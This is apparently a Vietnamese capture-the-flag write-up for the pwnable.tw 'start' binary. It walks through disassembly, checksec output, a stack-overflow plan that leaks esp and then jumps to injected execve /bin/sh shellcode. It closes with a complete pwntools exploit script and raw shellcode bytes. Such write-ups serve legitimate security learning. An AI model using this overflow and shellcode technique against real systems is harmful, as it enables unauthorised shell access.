start
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/pwnable_tw/start$ file start
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x08048060 _start
0x0804809d _exit
0x080490a3 __bss_start
0x080490a3 _edata
0x080490a4 _end
run thử binary:
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/pwnable_tw/start$ ./start
Let's start the CTF:abc
_start
pwndbg> disass _start
Dump of assembler code for function _start:
0x08048060 <+0>: push esp
0x08048061 <+1>: push 0x804809d
0x08048066 <+6>: xor eax,eax
0x08048068 <+8>: xor ebx,ebx
0x0804806a <+10>: xor ecx,ecx
0x0804806c <+12>: xor edx,edx
0x0804806e <+14>: push 0x3a465443
0x08048073 <+19>: push 0x20656874
0x08048078 <+24>: push 0x20747261
0x0804807d <+29>: push 0x74732073
0x08048082 <+34>: push 0x2774654c
0x08048087 <+39>: mov ecx,esp
0x08048089 <+41>: mov dl,0x14
0x0804808b <+43>: mov bl,0x1
0x0804808d <+45>: mov al,0x4
0x0804808f <+47>: int 0x80
0x08048091 <+49>: xor ebx,ebx
0x08048093 <+51>: mov dl,0x3c
0x08048095 <+53>: mov al,0x3
0x08048097 <+55>: int 0x80
0x08048099 <+57>: add esp,0x14
0x0804809c <+60>: ret
End of assembler dump.
Ok, giờ thì chúng ta cùng đọc asm.
Ta nhận thấy ở đây có 2 lần gọi int 0x80 tức là có sử dungj systemcall, ta nhận thấy là %eax = 0x3 là lệnh read, nếu 0x4 là lệnh write
Vậy thì có vẻ như chương trình dùng write để in ra dòng Let's start the CTF: sau đấy dùng read để mà đọc chuỗi từ user.
hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/pwnable_tw/start$ checksec start
[*] '/mnt/d/pwn_myself/pwnable_tw/start/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
Oke đỏ lè thế kia thì ta có thể dùng shellcode hay overflow tùy í. giờ thì bắt tay vào làm.
Đặt breakpoint tại 0x08048097 và 0x0804809c tính được cần overflow 20bytes để đến được return address
Mà return thì return về đâu, kịch bản là ta sẽ add shellcode vào rồi gọi đến shell code để thực thi, tuy nhiên thì cần xác định địa chỉ của shellcode, mà shellcode được nạp vào stack nên cần phải leak được địa chỉ esp. Do đó ta sẽ return về hàm write nhằm leak các giá trị trên stack, và esp cũng nằm trên stack
0x08048099 <+57>: add esp,0x14
Do là sau khi read xong, thì thu hồi stack, esp + 20 tức là 20 bytes của chuối nãy ta in ra màn hình, nay đã thu hồi mà ta lại gọi hàm write => in ra các giá trị trên stack bao gồm cả esp
Sau khi mà đã leak được esp thì ta vào hàm read, lúc này ta gửi payload thứ 2 gồm: 20 bytes BOF, địa chỉ return về chính là địa chỉ lưu shellcode = esp + 20, shellcode
shellcode
sub esp,0x50
xor eax,eax
add eax,0x0b
xor ecx,ecx
xor edx,edx
push edx
push 0x0068732f
push 0x6e69622f
mov ebx,esp
int 0x80
Exploit
from pwn import *
#p = remote('chall.pwnable.tw',10000)
p = process("./start")
print(p.recvuntil(':'))
payload1 = b'A'*20 + p32(0x08048087)
p.send(payload1)
#print(p.recv())
shellcode = b'\x83\xEC\x50\x31\xC0\x83\xC0\x0B\x31\xC9\x31\xD2\x52\x68\x2F\x73\x68\x00\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80'
payload2 = b'A'*20 + p32(u32(p.recv()[:4]) + 20) + shellcode
p.send(payload2)
p.interactive()